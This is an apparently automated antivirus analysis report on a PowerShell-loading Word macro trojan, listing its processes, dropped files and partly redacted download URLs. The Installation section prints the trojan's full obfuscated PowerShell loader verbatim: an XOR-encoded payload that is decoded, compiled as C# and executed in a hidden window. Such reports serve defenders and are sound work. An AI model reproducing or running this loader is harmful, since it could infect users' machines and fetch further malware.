Trojan.W97M.POWLOAD.TIOIBEIA

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• powershell -WindowStyle Hidden function r1765ab {param($f575dae)$ycde8='k2568';$vf17f99='';for ($i=0; $i -lt $f575dae.length;$i+=2){$o41aed1=[convert]::ToByte($f575dae.Substring($i,2),16);$vf17f99+=[char]($o41aed1 -bxor $ycde8[($i/2)%$ycde8.length]);}return $vf17f99;} $v75f7 = '1e415c585f4b614c454c0e5f0e434b025c52166b1241415355456040584c025f50187105465044571b6150444e02515045031e415c585f4b614c454c0e5f1b72510a555b594b1f5b5645031e415c585f4b614c454c0e5f1b7f775047465f560c12664f4b1f575818760e460e3b321b47575a510812565a5918411544095d0a0304433076595a7106425a444c43105e534a055759050a491e70584c194b655951054608147f0e46654457087351524a0e41461411361245435a075b56164b1f53415f5b4b574d425d195c157f561f624144181c0307045c09041d7f561f624144180e0a50000e47414144510555155d0b5e05541f033076595a7106425a444c43105e534a055759050a491e1573561f404c6657025c4116054b107959590f7e5c544a0a404c1411361245435a075b56164b1f53415f5b4b574d425d195c157f561f62414418195351015a0d061d454c195b5b51181d0603555d5c1b0e6d7c075e7c5b480440411e1a005747585d07010714144b775b424a12625a5f561f0f17605119464057543b405a425d0846171f654b42405454025115454c0a465c55180e4a41534a0512575957071244045b5a56560f10225c41664c191257575a5953196371054665424a4b5903010e591e154351054615420d52575301144b5d4042181e5b5b42180d0003025a0e541c0d632f5e597f551b5d47421049795044560e5e0604160f5e5914144b775b424a12625a5f561f0f17644c077f5a405d265758594a121019166b0e4679574b1f77474457190f53575418571c6b1818465442510812504e4c0e405b164e045b5116495856500f10225c41664c19124f550c0d51041a71054665424a4b505657090e03195f561f1247040e0850041f031b47575a5108124642591f5b5616510546154f59590a540e1042497c584c3b4647164b0a54500718561247575c5c50530210190302000d0a501d14080a0753020e5e540400080d07500301491b1c0d510d1a46575e0e03080b71054665424a4568504457424952594c041254500f5c0b0e4b71054665424a4b45510e0c0d0f42070a59565700101853535309474004010e5e53571e1a595300500c5d0753005a5b0a00050d090501025c5b5600020d5b0601141142095c50101c560d025e560f7c584c3b464718620e405a1f430c5d4159180a54020101504f607f561f624144180a5404535a520f1d6371054665424a42070e4351054615595e52510004055b095c50104a430755090f510c1e4f0f0a0150140a5404535a521e054e0c5b1e5a434c4b5d530f5b5e001c1f430c5d4159180a54020101504f774f4c0e6968165f52560d01015c0f4e064058031906400d541906405202480d71054665424a4b4651075d0f00087b5919415d57544573595a57087a725a570953591e0b420978574a185a545a16285d454f100c0b510e0f52051906141f5604535c591e061f031a01515301435c504118225c41664c191a4252005f541b6257225c41000c431b1e06405b02045411474651075d0f00190511505353010f520815615d0971595f5d054615405c5f0a0d0b560e4515615d0971595f5d05461d1f031846475f560c1253540a590b0873561d5b47595606575b42162c5741705707565044680a465d1e7d05445c4457055f50584c456145535b025359705707565044162a42455a510853415f5705765442594219176a641e0756000c5d101e44095c0400575a431001030d5c0651030b491b0e405c5f0a0d187c04455b5a570a56735f540e1a47070f5d07545410490206020e5f03010008590601075c5f0700540d5e0201020c5e5100050c090600035a5f03040f0d5d0250020d5a5301070c53060303095e53000e0c080250035b5f03040f0c080206030f5e0a00050c09060103085e53040f0f0a0001000e5c50040e0d0f0306030f491b19505a59000c1f033b405a555d184166425919467c585e04124c540a5c570303050557421668195d56534b186141574a1f7b5b5057435457040a521b0e664a045150454b456141574a1f1a4c540a5c57030311504050424d195c1506031642405454025115454c0a465c55181846475f560c1247070f5d075454101846475f560c125352015905510e11104141445105551553000e04030b1a0000000000490946424a025c52164a0a5602545e5f0f66424a025c52187d0642414f030d5d471e510546155f055b095c0a5e0f0b07015c531c7953560c465d0d51400f071f43094b4153181c0307045c0904087557054450444c45665a74411f571d505c5200025200456140544b1f405c585f435b1904114703031f03195351015a0d061e0b10085a544411434504040a0f500316664b570d530e5d691d5f17591b1513180e0a50000e457e50585f1f5a681f03164050424d195c1544590f0557500c504f48'; $v75f72 = r1765ab($v75f7); Add-Type -TypeDefinition $v75f72; [r16862]::ya28a8();
• "%Windows%\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"%User Temp%\zvhtlq0l.cmdline"
• %Windows%\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%User Temp%\RESBFB6.tmp" "%User Temp%\CSCBF96.tmp"

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Dropping Routine

This Trojan drops the following files:

• %User Temp%\zvhtlq0l.dll
• %Application Data%\u5c646.exe
• %User Temp%\zvhtlq0l.pdb
• %User Temp%\22913820.od
• %User Temp%\zvhtlq0l.cmdline
• {malware file path and name}
• %User Temp%\zvhtlq0l.out
• %System Root%\BVTBin\Tests\installpackage\csilogfile.log
• %User Temp%\zvhtlq0l.err
• %User Temp%\zvhtlq0l.0.cs

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

Other Details

This Trojan connects to the following possibly malicious URL:

• http://{BLOCKED}es.it/new/wp-content/themes/bo/BOTN.exe
• {BLOCKED}3.153.32

This report is generated via an automated analysis system.